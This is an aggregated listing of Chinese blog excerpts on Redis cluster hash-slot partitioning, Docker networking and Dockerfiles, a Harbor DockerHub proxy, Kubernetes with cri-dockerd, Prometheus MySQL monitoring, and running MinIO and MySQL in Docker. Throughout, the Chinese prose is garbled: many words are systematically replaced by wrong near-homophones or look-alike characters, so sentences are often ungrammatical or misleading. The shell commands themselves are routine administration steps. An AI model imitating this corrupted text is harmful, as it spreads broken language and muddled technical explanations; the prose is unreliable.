cluster(集群)模式-docker版 哈希槽分区进行亿级数据存储1、场景1~2亿条数据须要缓存,请问如何设计这个存储案例? 单机单台100%不可能,必定是分布式存储,用redis如何落地? 解决方案1、哈希取余分区 2亿条记录就是2亿个k,v,咱们单机不行必须要分布式多机,假如有3台机器形成一个集群,用户每次读写操作都是依据公式:hash(key) % N个机器台数,计算出哈希值,用来决定数据映射到哪一个节点上。长处: 简略粗犷,间接无效,只须要预估好数据布局好节点,例如3台、8台、10台,就能保障一段时间的数据撑持。应用Hash算法让固定的一部分申请落到同一台服务器上,这样每台服务器固定解决一部分申请(并保护这些申请的信息),起到负载平衡+分而治之的作用。毛病: 原来布局好的节点,进行扩容或者缩容就比拟麻烦了额,不论扩缩,每次数据变动导致节点有变动,映射关系须要从新进行计算,在服务器个数固定不变时没有问题,如果须要弹性扩容或故障停机的状况下,原来的取模公式就会发生变化:Hash(key)/3会变成Hash(key) /?。此时地址通过取余运算的后果将产生很大变动,依据公式获取的服务器也会变得不可控。某个redis机器宕机了,因为台数数量变动,会导致hash取余全副数据从新洗牌。2、一致性哈希算法分区 一致性哈希算法在1997年由麻省理工学院中提出的,设计指标是为了解决分布式缓存数据变动和映射问题,某个机器宕机了,分母数量扭转了,天然取余数不OK了。作用: 提出一致性Hash解决方案。目标是当服务器个数产生变动时,尽量减少影响客户端到服务器的映射关系步骤: 算法构建一致性哈希环 一致性哈希环 一致性哈希算法必然有个hash函数并依照算法产生hash值,这个算法的所有可能哈希值会形成一个全量集,这个汇合能够成为一个hash空间[0,2^32-1],这个是一个线性空间,然而在算法中,咱们通过适当的逻辑管制将它首尾相连(0 = 2^32),这样让它逻辑上造成了一个环形空间。 它也是依照应用取模的办法,后面笔记介绍的节点取模法是对节点(服务器)的数量进行取模。而一致性Hash算法是对2^32 取模,简略来说,一致性Hash算法将整个哈希值空间组织成一个虚构的圆环,如假如某哈希函数H的值空间为0-2^32-1 (即哈希值是一个32位无符号整形),整个哈希环如下图:整个空间按顺时针方向组织,圆环的正上方的点代表0,0点右侧的第一个点代表1,以此类推,2、3、4、……直到2^32-1 ,也就是说0点左侧的第一个点代表2^32-1, 0和2^32-1 在零点中方向重合,咱们把这个由2^32个点组成的圆环称为Hash环。 服务器IP节点映射 节点映射 将集群中各个IP节点映射到环上的某一个地位。 将各个服务器应用Hash进行一个哈希,具体能够抉择服务器的IP或主机名作为关键字进行哈希,这样每台机器就能确定其在哈希环上的地位。如果4个节点NodeA、B、C、D,通过IP地址的哈希函数计算(hash(ip)),应用IP地址哈希后在环空间的地位如下: key落到服务器的落键规定 当咱们须要存储一个kv键值对时,首先计算key的hash值,hash(key),将这个key应用雷同的函数Hash计算出哈希值并确定此数据在环上的地位,从此地位沿环顺时针“行走”,第一台遇到的服务器就是其应该定位到的服务器,并将该键值对存储在该节点上。如咱们有Object A、Object B、Object C、Object D四个数据对象,通过哈希计算后,在环空间上的地位如下:依据一致性Hash算法,数据A会被定为到Node A上,B被定为到Node B上,C被定为到Node C上,D被定为到Node D上。 长处: 1.一致性哈希算法的容错性 容错性假如Node C宕机,能够看到此时对象A、B、D不会受到影响,只有C对象被重定位到Node D。个别的,在一致性Hash算法中,如果一台服务器不可用,则受影响的数据仅仅是此服务器到其环空间中前一台服务器(即沿着逆时针方向行走遇到的第一台服务器)之间数据,其它不会受到影响。简略说,就是C挂了,受到影响的只是B、C之间的数据,并且这些数据会转移到D进行存储。 2.一致性哈希算法的扩展性 扩展性数据量减少了,须要减少一台节点NodeX,X的地位在A和B之间,那收到影响的也就是A到X之间的数据,从新把A到X的数据录入到X上即可,不会导致hash取余全副数据从新洗牌。 毛病: 一致性哈希算法的数据歪斜问题 一致性Hash算法在服务节点太少时,容易因为节点散布不平均而造成数据歪斜(被缓存的对象大部分集中缓存在某一台服务器上)问题,例如零碎中只有两台服务器: 总结: 为了在节点数目产生扭转时尽可能少的迁徙数据 将所有的存储节点排列在收尾相接的Hash环上,每个key在计算Hash后会顺时针找到邻近的存储节点寄存。而当有节点退出或退出时仅影响该节点在Hash环上顺时针相邻的后续节点。 长处 退出和删除节点只影响哈希环中顺时针方向的相邻的节点,对其余节点无影响。 毛病 数据的散布和节点的地位无关,因为这些节点不是平均的散布在哈希环上的,所以数据在进行存储时达不到均匀分布的成果。 3、哈希槽分区哈希槽本质就是一个数组,数组[0,2^14 -1]造成hash slot空间。 作用:解决一致性哈希算法的数据歪斜问题 解决平均调配的问题,在数据和节点之间又退出了一层,把这层称为哈希槽(slot),用于治理数据和节点之间的关系,当初就相当于节点上放的是槽,槽里放的是数据。 槽解决的是粒度问题,相当于把粒度变大了,这样便于数据挪动。哈希解决的是映射问题,应用key的哈希值来计算所在的槽,便于数据调配。 哈希槽的计算Redis 集群中内置了 16384 个哈希槽,redis 会依据节点数量大抵均等的将哈希槽映射到不同的节点。当须要在 Redis 集群中搁置一个 key-value时,redis 先对 key 应用 crc16 算法算出一个后果,而后把后果对 16384 求余数,这样每个 key 都会对应一个编号在 0-16383 之间的哈希槽,也就是映射到某个节点上。如下代码,key之A 、B在Node2, key之C落在Node3上 ...

September 4, 2022 · 10 min · jiezi

关于docker:系统学习DockerDocker网络

1.Docker网络是什么2.Docker网络能做什么3.Docker网络根本命令4.Docker网络的四种模式以及案例阐明5.Docker平台架构图解阐明 1.Docker网络是什么当咱们在应用虚拟机的时候,咱们都晓得有好多种网络模式:咱们大略介绍一下这几种网络模式:1.bridged(桥接模式)在bridged模式下,虚拟机虚构进去的操作系统就如同局域网中一台独立的主机,能够拜访局域网中任何一台机器。然而你须要手工为其配置IP地址,子网掩码,而且还要和宿主机放弃在同一网段,这样虚拟机零碎能力和宿主机零碎进行通信。 2.NAT(网络地址转换模式)VMnet8 默认 NAT 模式。 虚拟机向内部网络发送申请的时候,会先将数据交给NAT网络适配器,由NAT网络适配器加上“标记”,并以主机的名义转发进来,内部网络返回时的数据,也先由主机接管,而后由NAT网络适配器依据“标识”转发给对应的虚拟机。因而,NAT网络模式下,虚拟机和主机共享一个IP地址,个别状况下,内部网络无法访问到虚拟机。 3.host-only(仅主机模式)仅主机模式下,虚拟机是一种与世隔绝的状态,不能连贯上外网。 虚拟机尚且有这么多网络模式,咱们docker也有三种网络模式: 2.Docker网络能做什么 Docker网络个别有两个作用: 2.1)容器间的互联和通信以及端口映射 咱们都晓得容器领有本人独立的IP地址,然而在容器之间如何通信,哪几个容器在同一网段,还是说几个容器共享主机的同一网段,这都须要咱们领有Docker网络的常识。 2.2)容器IP变动时候能够通过服务名间接网络通信而不受到影响咱们的容器重启/扩缩容,是常有的事,不可能咱们容器每次重启之后都要手动更改IP,所以容器之间通过Docker网络依据容器名称直连的形式就变得尤为重要。 3.Docker网络根本命令全副命令: 查看所有网络: docker network ls查看网络源数据: docker network inspect XXX网络名字删除网络: docker network rm XXX网络名字查看某一容器的网络模式: docker inspect 容器ID or 容器名字 4.Docker网络的四种模式以及案例阐明 总体介绍: 网络模式简介应用命令bridge为每一个容器调配,设置IP,和VM的bridge模式相似。--network bridgehost虚拟机不会虚构出本人的网卡,和主机专用IP--network hostnone容器有本人独立的网络,然而没有任何设置(不能连贯外网,和VM的host相似)--network nonecontainer新的容器不会创立本人的网卡,而是和一个指定的容器共享IP,端口等等--network container:NAME或者容器ID指定容器实例的网络模式查看: 默认为bridge模式。 4.1)bridge Docker服务启动的时候,默认会创立一个docker0网桥:docker0在内核层连同了物理网络,这就将所有的容器与本地的主机都放在同一个物理网络,Docker默认指定了docker0接口的IP地址和子网掩码,让主机和容器之间能够通过网桥互相通信。 执行过程: 4.1.1)Docker服务在宿主机虚构一个Docker容器网桥(docker0),Docker启动一个容器的时候,会依据Docker网桥的网段调配给容器一个IP地址,同时Docker网桥就是每个容器的默认网关。因为所有同一宿主机的容器应用了bridge模式后,都接入同一个网桥,这样容器之间就能通过容器的IP进行通信。 4.1.2)docker 在运行run命令的时候,没有指定netword的话就默认应用的是bridge模式 4.1.3)每个容器实例有一个网卡,叫eth0.整个宿主机的网桥模式都是docker0,相似于交换机有一堆接口,每一个接口对应一个Docker容器,让他们彼此联通。Docker容器通过docker0实现互联,docker0再通过eth33和外网进行互联,因而容器实例之间互联,同时也能拜访外网。 验证: 启动两个容器: docker run -d -p 8081:8080 --name tomcat81 billygoo/tomcat8-jdk8docker run -d -p 8082:8080 --name tomcat82 billygoo/tomcat8-jdk8宿主机查看: tomcat1查看:tomcat2查看: ...

September 3, 2022 · 1 min · jiezi

关于docker:系统学习DockerDockerFile解析

1.DockerFile是什么2.DockerFile构建过程解析3.DockerFile罕用保留字指令4.DockerFile自定义CentOS镜像5.DockerFile自定义微服务镜像 1.DockerFile是什么 假如咱们想自定义一个Docker镜像,基于Centos7镜像具备vim+ifconfig+jdk8,依照咱们以前的学习的步骤,咱们须要先下载镜像,而后运行容器,再以进入容器进行vim+ifconfig+jdk8的装置,再把这个容器打包成新的镜像,这样操作十分繁琐,咱们有没有更简略的形式来操作这一系列的步骤呢?此时就引出了咱们的DockerFile。 DockerFile是用来构建Docker镜像的文本文件,是由一条条构建镜像所需的指令和参数形成的脚本。 应用DockerFile的3步骤:1)编写DockerFile文件。2)docker build命令形成镜像。3)docker run依镜像运行容器实例 2.DockerFile构建过程解析咱们先来看看一个简略的DockerFile文件: #基于centosFROM centos#镜像维护者的姓名和邮箱地址MAINTAINER slf<xxx@qq.com>#设置名为MYPATH的变量ENV MYPATH /usr/local#指定在创立容器后,终端默认登陆的进来工作目录WORKDIR $MYPATH以上案例中,基于centos镜像,对镜像进行了一系列操作,咱们能够得出Dockerfile内容基础知识为:1)每条保留指令必须都为大写字母且前面必须要跟至多一个参数2)指令从上到下,程序执行3)#示意正文4)每条指令都会创立一个新的镜像并对容器进行提交 由此能够得出,Docker执行DockerFile的大抵流程为:1)docker从根底镜像中抉择一个当做容器2)执行一条条指令对容器进行批改3)执行相似docker commit的操作提交一个新的镜像层4)docker再基于刚提交的镜像运行一个新容器5)执行dockerfile中的下一条指令直到所有指令都执行实现 最初咱们得出如下论断: 咱们从软件的角度来看,Dockerfile、Docker镜像和Docker容器别离代表一个软件的三个不同的阶段: Dockerfile是软件的一系列原材料Docker镜像是软件的交付品Docker容器则是软件镜像的运行态。Dockerfile面向开发,Docker镜像成为交付规范,Docker容器则波及部署与运维,三者缺一不可,合力充当Docker体系的基石。 最初再总结一下这三个概念: 1)Dockerfile,Dockerfile定义了应用程序所须要的所有货色,包含执行的代码,文件,环境,依赖,操作系统版本等等。 2)Docker镜像,在用Dockerfile定义一个文件之后,docker build时会产生一个Docker镜像,当运行 Docker镜像时会真正开始提供服务; 3)Docker容器,间接提供服务 3.DockerFile罕用保留字指令 FROM :根底镜像,以后新镜像是基于哪个镜像,指定那个镜像作为模板,第一条必须是FROM MAINTAINER:镜像保护的作者 RUN:容器构建时要运行的命令 (在 docker build时运行) 它有两种格局: shell格局: RUN yum -y install vim exec格局: EXPOSE:容器往外裸露的接口 WORKDIR:用来指定创立容器后,终端默认登录进来的工作目录。 USER:指定该镜像应用什么样的用户执行,默认root ENV:设置变量,如: ENV MY_PATH /usr/mytest这个环境变量能够在后续的任何RUN指令中应用,这就如同在命令后面指定了环境变量前缀一样,也能够在其它指令中间接应用这些环境变量。 比方:WORKDIR $MY_PATH ADD:将宿主机目录下的文件拷贝到镜像外面,且会主动解决URL和解压tar压缩包。 COPY:相似ADD,拷贝文件和目录到镜像中。将从构建上下文目录中 <源门路> 的文件/目录复制到新的一层的镜像内的 <指标门路> 地位。 COPY src dest VOLUME :容器数据卷,用于数据保留和长久化工作。 VOLUME指令只是起到了申明了容器中的目录作为匿名卷,然而并没有将匿名卷绑定到宿主机指定目录的性能。 CMD: 指容器启动后干的事件。 ...

September 3, 2022 · 2 min · jiezi

关于docker:DockerHub镜像代理

背景公司的服务器从 DockerHub 拉取镜像有时会遇到拉取慢和拜访限度,虽说 Docker 官网和国内很多云服务商都提供了国内加速器服务,然而从外网反复拉取速度没法保障。机器的存储空间无限,简直每天都要清理镜像缓存。 解决办法就是用自家公有的镜像仓库来存储这些罕用镜像,比方nginx、golang、python等等。手动把这些镜像push到公有镜像仓库太累,本文应用的正是 Harbor 提供的镜像代理性能。 Harbor镜像代理harbor的部署就跳过了,间接到操作界面 通过下面的步骤后dockerhub我的项目就是用来代理到DockerHub官网的,第一次会去DockerHub官网拉取,而后在habor存储一份,下次就不必拜访DockerHub了。 假如这里的harbor镜像仓库的地址是 my-harbor.com,应用例子(强烈建议应用具体tag): nginx:1.22 -> my-harbor.com/dockerhub/library/nginx:1.22golang:1.18.4 -> my-harbor.com/dockerhub/library/golang:1.18.4bitnami/prometheus:2.38.0 -> my-harbor.com/dockerhub/bitnami/prometheus:2.38.0Dockerfile主动替换公司外部都有本人的ci/cd零碎,此处提供一个思路,在构建镜像这一步做主动替换,最好提供一个开关,让用户抉择是否代理DockerHub镜像。 #!/bin/bashdockerfilePath=./Dockerfilei=0# 去掉空行grep -v "^$" $dockerfilePath > /tmp/tmp_dockerfilecat /dev/null > $dockerfilePathcat /tmp/tmp_dockerfile |while read linedo echo $line >> $dockerfilePathdonecat $dockerfilePath |while read linedo i=`expr $i + 1`; # 排除正文和scratch镜像 s=$(echo $line |grep 'FROM'| egrep -v '#|\$|scratch' |awk '{print $2}'|awk -F: '{print $1}' |grep -v '\.') || true if [[ -n "$s" ]];then new="my-harbor.com/dockerhub/library/$s" echo $s | grep '/' > /dev/null && new="my-harbor.com/dockerhub/$s" || true sed -i "${i}s|$s|$new|" $dockerfilePath ||true fidone

September 2, 2022 · 1 min · jiezi

关于docker:Kubernetes-124-125-集群使用docker作为容器

Kubernetes 1.24 1.25 集群应用docker作为容器背景在新版本Kubernetes环境(1.24以及以上版本)下官网不在反对docker作为容器运行时了,若要持续应用docker 须要对docker进行配置一番。须要装置cri-docker作为Kubernetes容器 查看以后容器运行时# 查看指定节点容器运行时kubectl describe node k8s-node05 | grep Container Container Runtime Version: containerd://1.6.8# 查看所有节点容器运行时kubectl describe node | grep Container Container Runtime Version: containerd://1.6.8 Container Runtime Version: containerd://1.6.8 Container Runtime Version: containerd://1.6.8 Container Runtime Version: containerd://1.6.8 Container Runtime Version: containerd://1.6.8 Container Runtime Version: containerd://1.6.8 Container Runtime Version: containerd://1.6.8 Container Runtime Version: containerd://1.6.8装置docker# 更新源信息yum update# 装置必要软件yum install -y yum-utils device-mapper-persistent-data lvm2# 写入docker源信息sudo yum-config-manager \ --add-repo \ https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/centos/docker-ce.repo# 更新源信息并进行装置yum updateyum install docker-ce docker-ce-cli containerd.io# 配置加速器sudo mkdir -p /etc/dockersudo tee /etc/docker/daemon.json <<-'EOF'{ "registry-mirrors": ["https://ted9wxpi.mirror.aliyuncs.com"], "exec-opts": ["native.cgroupdriver=systemd"]}EOFsudo systemctl daemon-reloadsudo systemctl restart docker装置cri-docker# 因为1.24以及更高版本不反对docker所以装置cri-docker# 下载cri-docker wget https://ghproxy.com/https://github.com/Mirantis/cri-dockerd/releases/download/v0.2.5/cri-dockerd-0.2.5.amd64.tgz# 解压cri-dockertar xvf cri-dockerd-0.2.5.amd64.tgz cp cri-dockerd/cri-dockerd /usr/bin/# 写入启动配置文件cat > /usr/lib/systemd/system/cri-docker.service <<EOF[Unit]Description=CRI Interface for Docker Application Container EngineDocumentation=https://docs.mirantis.comAfter=network-online.target firewalld.service docker.serviceWants=network-online.targetRequires=cri-docker.socket[Service]Type=notifyExecStart=/usr/bin/cri-dockerd --network-plugin=cni --pod-infra-container-image=registry.aliyuncs.com/google_containers/pause:3.7ExecReload=/bin/kill -s HUP $MAINPIDTimeoutSec=0RestartSec=2Restart=alwaysStartLimitBurst=3StartLimitInterval=60sLimitNOFILE=infinityLimitNPROC=infinityLimitCORE=infinityTasksMax=infinityDelegate=yesKillMode=process[Install]WantedBy=multi-user.targetEOF# 写入socket配置文件cat > /usr/lib/systemd/system/cri-docker.socket <<EOF[Unit]Description=CRI Docker Socket for the APIPartOf=cri-docker.service[Socket]ListenStream=%t/cri-dockerd.sockSocketMode=0660SocketUser=rootSocketGroup=docker[Install]WantedBy=sockets.targetEOF# 进行启动cri-dockersystemctl daemon-reload ; systemctl enable cri-docker --now为kubelet配置容器运行时# 1.25 版本下 所有k8s节点配置kubelet servicecat > /usr/lib/systemd/system/kubelet.service << EOF[Unit]Description=Kubernetes KubeletDocumentation=https://github.com/kubernetes/kubernetesAfter=containerd.serviceRequires=containerd.service[Service]ExecStart=/usr/local/bin/kubelet \\ --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.kubeconfig \\ --kubeconfig=/etc/kubernetes/kubelet.kubeconfig \\ --config=/etc/kubernetes/kubelet-conf.yml \\ --container-runtime-endpoint=unix:///run/cri-dockerd.sock \\ --node-labels=node.kubernetes.io/node=[Install]WantedBy=multi-user.targetEOF# 1.24 版本下 所有k8s节点配置kubelet servicecat > /usr/lib/systemd/system/kubelet.service << EOF[Unit]Description=Kubernetes KubeletDocumentation=https://github.com/kubernetes/kubernetesAfter=containerd.serviceRequires=containerd.service[Service]ExecStart=/usr/local/bin/kubelet \\ --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.kubeconfig \\ --kubeconfig=/etc/kubernetes/kubelet.kubeconfig \\ --config=/etc/kubernetes/kubelet-conf.yml \\ --container-runtime=remote \\ --runtime-request-timeout=15m \\ --container-runtime-endpoint=unix:///run/cri-dockerd.sock \\ --cgroup-driver=systemd \\ --node-labels=node.kubernetes.io/node= \\ --feature-gates=IPv6DualStack=true[Install]WantedBy=multi-user.targetEOF# 重启systemctl daemon-reloadsystemctl restart kubeletsystemctl enable --now kubelet验证# 查看指定节点容器运行时kubectl describe node k8s-node05 | grep Container Container Runtime Version: docker://20.10.17# 查看所有节点容器运行时kubectl describe node | grep Container Container Runtime Version: containerd://1.6.8 Container Runtime Version: containerd://1.6.8 Container Runtime Version: containerd://1.6.8 Container Runtime Version: containerd://1.6.8 Container Runtime Version: containerd://1.6.8 Container Runtime Version: containerd://1.6.8 Container Runtime Version: containerd://1.6.8 Container Runtime Version: docker://20.10.17对于 ...

September 2, 2022 · 2 min · jiezi

关于docker:Docker-使用将容器打成镜像

前言工作中遇到三方闭源的中间件运行起来某项个性不合乎需要,然而镜像提供方偏偏又没有将配置文件挂载进去以供批改,这就导致要使软件合乎需要地运行只能进入到容器外部批改配置文件后重启,堪称十分之蛋疼。笔者平时对 Docker 接触不多,好在有共事提到 Docker 反对将运行中的容器从新打包为镜像,于是网上搜寻材料,大抵整顿出以下步骤解决下面的问题,故有本文聊作记录进入运行中的容器批改其配置文件,批改实现后重启容器将曾经批改过配置文件的容器从新打成镜像,应用该镜像文件创立新的容器即可 应用3A服务器搭建docker容器环境,真不便呀 容器打成镜像Docker 提供了 commit 命令反对将容器从新打成镜像文件,其命令格局如下所示 docker commit [OPTIONS] CONTAINER [REPOSITORY[:TAG]]1命令中的选项 [OPTIONS] 有如下候选:Option 性能-a 指定新镜像作者-c 应用 Dockerfile 指令来创立镜像-m 提交生成镜像的阐明信息-p 在 commit 时,将容器暂停过程示例执行 sudo docker ps -a 查看本机上的所有容器,此处笔者抉择运行中的consul 容器 eda05ad514f8 为例子执行 sudo docker commit -a "nathan" -m "create new img" eda05ad514f8 consul:v0 命令以容器为根底生成新的镜像 consul:v0,镜像 id 为 5aeabb78080d2431b2a18809a24edee401d2d65349ce82f32f66b67cf32fc654 执行 sudo docker image ls 命令查看本机上的 Docker 镜像,能够看到曾经胜利制作镜像 consul:v0 镜像打包镜像文件常常有在服务器之间传输的需要,为此 Docker 提供了镜像打包和镜像加载的命令2.1 镜像打包为 tar 文件Docker 的 save 命令可将镜像打包成 tar 文件,其格局如下OPTIONS 选项只有 -o 用于指定输入到的文件docker save [OPTIONS] IMAGE [IMAGE...]1示例应用sudo docker save -o consul:v0.tar consul:v0命令执行实现后在当前目录下生成了 tar 文件2.2 从 tar 文件载入镜像Docker 的 load 命令可从 tar 文件载入镜像,其命令格局如下OPTIONS 选项可选-i 用于指定载入的镜像文件-q 精简输入信息docker load [OPTIONS]1示例应用因为笔者所有操作都是在同一台机器上,所以先执行 sudo docker image rm 5aeabb78080d 删除之前的镜像执行 sudo docker load -i consul:v0.tar 从新载入镜像 ...

August 31, 2022 · 1 min · jiezi

关于docker:如何创建一个运行angular单元测试的docker容器

docker曾经是开发畛域的大明星,如果你当初对它不理解,那么是时候学习它了。 本文情景:须要一个能够跑特定angular版本的docker容器,用于对立我的项目的开发环境以及跑单元测试 技术要求:装置了docker并且会一些罕用的docker命令。 背景以后咱们须要一个能够运行angular以及能够主动跑单元测试的容器,但遗憾的是docker hub中并不存在现成的容器 找镜像尽管没有angular的镜相,但咱们能够找到node的镜像,因为咱们在本机开发应用的node版本是14.16.0,所以在确认node镜像时也应用雷同的版本。 关上官网地址,最终发现有几个版本可供咱们抉择,在版本方面存在alpine,buster,stretch等。简略来说就是一个准则:老手应用stretch/buster/jessie,新手本人轻易选。 本地构建镜相确认后,便能够开始进行本地构建了。 第一步,咱们先在本地建设一个文件,命名为:Dockerfile,须要留神的该文件没有任何扩展名 第二步:编辑这个文件,并输出以下内容 FROM node:14.16.0-stretch第三步:开始构建来到Dockerfile的存在文件夹,执行$ docker build . -t <imagename:version>,即开始进行镜相结构,该速度在肯定水平上依赖于网速。其中imagename:version本人起喜爱的,比方咱们在此起名为node-angular:14.16.0 最初,咱们应用docker image ls命令来查看image是否创立胜利 自定义image接下来,咱们应用以后image来构建能够执行angular单元测试的node环境。 在持续工作前,咱们须要意识到:一个image能够创立多个container,它们的关系就像是class与object。而任何container又都能够成为一个新的image。 咱们以后要做的工作其实是: 依据上一步build失去的image来创立一个新的container在这个container(官网名字叫容器,能够了解为一个小的独立的虚拟机)上进行环境设置,使其满足Angular的单元测试要求。将曾经满足Angular的单元测试要求的container要做为image来保留下来。日后再须要进行Angular相干测试时,便能够间接应用这个image来创立新的container了。 配置container启动容器并进入 $ docker run -it node-angular:14.16.0 /bin/bash 此时,上述命令行实际上曾经在运行起来的container上了,前面咱们运行的命令都将在这个container上运行并最终被保留下来。 装置chrome接管咱们参考官网的教程,来装置chrome. 顺次执行以下命令: $ apt-get update$ wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb$ apt install -y ./google-chrome*.deb;$ export CHROME_BIN=/usr/bin/google-chrome更新装置源: 下载chrome: 装置chrome: 设置环境变量: 装置Angular-cli持续装置angular-cli $ npm install -g @angular/cli 装置vim本文还须要对一些文件进行一些简略的编辑,所以把vim也一并装置上。 $ apt-get install -y vim 测试咱们创立一个angular利用,并尝试进行测试. $ ng new app$ cd app此时,咱们须要编辑一下karma的配置文件: ...

August 31, 2022 · 1 min · jiezi

关于docker:PrometheusGrafana系列监控MySQL服务

更多技术文章,请关注我的集体博客 www.immaxfang.com 和小公众号 Max的学习札记。前言后面的一篇文章曾经介绍了 docker-compose 搭建 Prometheus + Grafana 服务。过后实现了监控服务器指标数据,是通过 node_exporter。Prometheus 还可用来监控很多服务,比方常见的 MySQL。本文就介绍如何通过 mysqld_exporter 来监控 MySQL 指标。 下载安装包cd /optwget https://github.com/prometheus/mysqld_exporter/releases/download/v0.14.0/mysqld_exporter-0.14.0.linux-amd64.tar.gztar xvf mysqld_exporter-0.14.0.linux-amd64.tar.gzmv mysqld_exporter-0.14.0.linux-amd64 mysqld_exportermv /opt/mysqld_exporter /usr/local/创立监控账号并受权在须要监控的mysql上创立账号并受权。 # 创立用户CREATE USER 'prometheus'@'%' IDENTIFIED BY 'prometheus';# 调配权限GRANT PROCESS, REPLICATION CLIENT, SELECT ON *.* TO 'prometheus'@'%';增加数据库监控账号配置vim /usr/local/mysqld_exporter/.my.cnf增加如下内容 [client]user=prometheuspassword=prometheusport=3306启动exporter客户端/usr/local/mysqld_exporter/mysqld_exporter --config.my-cnf=/usr/local/mysqld_exporter/.my.cnf先手动启动exporter看一下日志,若有谬误依据输入调整即可。手动运行没问题后,则进行下一步将其增加到零碎服务中。 增加到零碎服务vim /etc/systemd/system/mysqld_exporter.service增加如下内容 [Unit]Description=mysqld_exporterAfter=network.target[Service]ExecStart=/usr/local/mysqld_exporter/mysqld_exporter --config.my-cnf=/usr/local/mysqld_exporter/.my.cnfRestart=on-failure[Install]WantedBy=multi-user.target加载并重启服务# 加载配置systemctl daemon-reload# 启动服务systemctl restart mysqld_exporter.service# 查看服务状态systemctl status mysqld_exporter.service# 配置开机启动systemctl enable mysqld_exporter.service查看收集数据拜访exporter服务地址,查看数据收集状况。 curl http://192.168.2.192:9104/metrics批改 prometheus 配置文件,增加新节点批改 prometheus 下的配置,prometheus.yml,增加如下内容。 scrape_configs: # 增加job - job_name: 'mysql-192' static_configs: # 配置监控端,即下面咱们启动的 mysqld_exporter 服务 - targets: ['192.168.2.192:9104'] labels: instance: mysql重启 prometheus 服务上一步批改了 prometheus.yml,须要重启下 prometheus 服务。 ...

August 28, 2022 · 1 min · jiezi

关于docker:有了这篇-Docker-网络原理彻底爱了

Docker 网络原理容器是绝对独立的环境,相当于一个小型的 Linux 零碎,外界无奈间接拜访,那他是怎么做的呢,这里咱们先理解下 Linux veth pair。 1. Linux veth pairveth pair 是成对呈现的一种虚构网络设备接口,一端连着网络协议栈,一端彼此相连。如下图所示: veth pair将两个网络veth0和veth1连通。2. 了解Docker0咱们先查看本地ip 这里咱们剖析可得,有三个网络: lo 127.0.0.1 # 本机回环地址eth0 172.31.179.120 # 阿里云的公有IP(如果你是虚拟机就是虚拟机的ip)docker0 172.17.0.1 # docker网桥lo和eth0在咱们的虚拟机启动的时候就会创立,然而docker0在咱们装置了docker的时候就会创立。docker0用来和虚拟机之间通信。问题:Docker 是如何解决容器网络拜访的?咱们先启动一个 tomcat 容器来阐明。 [root@jiangnan tomcat1]# docker pull tomcat[root@jiangnan tomcat1]# docker imagesREPOSITORY TAG IMAGE ID CREATED SIZEtomcat latest fb5657adc892 2 months ago 680MB[root@jiangnan tomcat1]# docker run -d -p 8081:8080 --name tomcat01 tomcat914a7d82b017f63f81c6eba49af5471441f1946c9d45509b69ab2c50c2713b6f[root@jiangnan tomcat1]#这里启动了tomcat01,咱们再来查看网络 发现:咱们后面查看的时候还是三组网卡,当启动了一个tomcat容器之后,多了一组网卡201: vethad33778@if200,而且还是成对的。同样咱们再来启动一个tomcat02会又多出一对网卡。进入了 tomcat01 容器内能够看到 tomcat01 对应的 ip 地址为:172.17.0.2 ...

August 27, 2022 · 3 min · jiezi

关于docker:Docker-安装minio

1、docker装置minio图像存储服务 docker search miniodocker pull minio/minio 2、运行minio mkdir -p home/minioDatadocker run \ -p 9000:9000 \ -p 9001:9001 \ --name minio\ -e "MINIO_ROOT_USER=admin" \ -e "MINIO_ROOT_PASSWORD=admin" \ -v /www/minioData:/data \ minio/minio server /data --console-address ":9001"

August 26, 2022 · 1 min · jiezi

关于docker:docker-中安装-MySQL-以及使用

环境:我应用3A服务器搭建centos7简介这里的实现思路是,先拉取完 MySQL 镜像之后,启动 MySQL 容器,而后将 MySQL 的配置文件拉取到本地,敞开之前启动的容器,从新应用挂载的形式启动。第一步: 拉取 mysql 镜像docker pull mysql 第二步: 在本地创立用于挂载的目录这里是用来在本地创立一个 conf 文件,当前启动 docker 中的 mysql 时,就应用这个配置文件 // 用于挂载mysql数据文件 -p 指的是没有父级的时候,创立父级文件夹sudo mkdir -p /apps/mysql/data // 用于挂载mysql配置文件sudo mkdir /apps/mysql/conf // 下面的两个步骤,能够应用上面这个命令来执行mkdir -p /apps/mysql/{conf,data} // 批改 /my 目录拥有者sudo chown root:docker $PWD/mysql 第三步:查看 mysql 配置文件的门路,复制配置文件到本地这里是须要进入 docker 容器中,查看 容器中的配置文件门路,将配置文件复制到本地 启动一个测试的容器docker run --name mysqltest \-p 3307:3306 -e MYSQL_ROOT_PASSWORD=root \-d mysql 拜访 mysql 容器docker exec -it mysqltes /bin/sh 查找Docker内,MySQL配置文件my.cnf的地位mysql --help | grep my.cnf 显示如下,意思是门路按优先排序,会是在以下门路里:配置文件的门路不肯定都一样,有些博客介绍的地位是在/etc/my.cnf。而我这个零碎下面理论存在地位是在/etc/mysql/my.cnforder of preference, my.cnf, $MYSQL_TCP_PORT,/etc/my.cnf /etc/mysql/my.cnf ~/.my.cnf ...

August 25, 2022 · 1 min · jiezi

关于docker:docker常用命令

1.帮忙启动类命令:systemctl start docker #启动Dockersystemctl stop docker #进行Dockersystemctl restart docker #重启Dockersystemctl status docker #查看Docker状态systemctl enable docker #开机自启动docker info #查看Docker概要信息docker --help #查看docker总体帮忙文档2.镜像命令: 列出本机的镜像 dokcer images 镜像名选项阐明: REPOSITORY:示意镜像的仓库源 TAG:镜像的标签版本号 IMAGE ID:镜像ID CREATED:镜像创立工夫 SIZE:镜像大小 images 选项阐明: -a:列出本地所有镜像(含历史镜像层) -q:只显示镜像ID docker search 镜像名 #查问官网库中某个镜像 选项阐明: --limit:只列出N个镜像,默认25个。 如:docker search --limit 5 redis 输入参数阐明: 下载镜像:docker pull 镜像名字[:TAG]docker pull 镜像名字没有TAG就时最新版的 等价于docker pull 镜像名字:latest 查看镜像/容器/数据卷所占的空间:docker system df 删除镜像:docker rmi 镜像名或ID号删除多个: docker rmi -f 镜像名1:TAG 镜像名2:TAG删除全副: docker rmi -f $(docker images -qa)显示镜像构建历史:docker history 镜像名获取容器或镜像的详细信息(元数据) docker inspect 镜像名3.容器命令新建+启动容器docker run [OPTIONS] 镜像名:TAGdocker run [OPTIONS] 镜像名 OPTIONS阐明(罕用): ...

August 25, 2022 · 1 min · jiezi

关于docker:Docker与虚拟化技术浅析第一弹之docker与Kubernetes

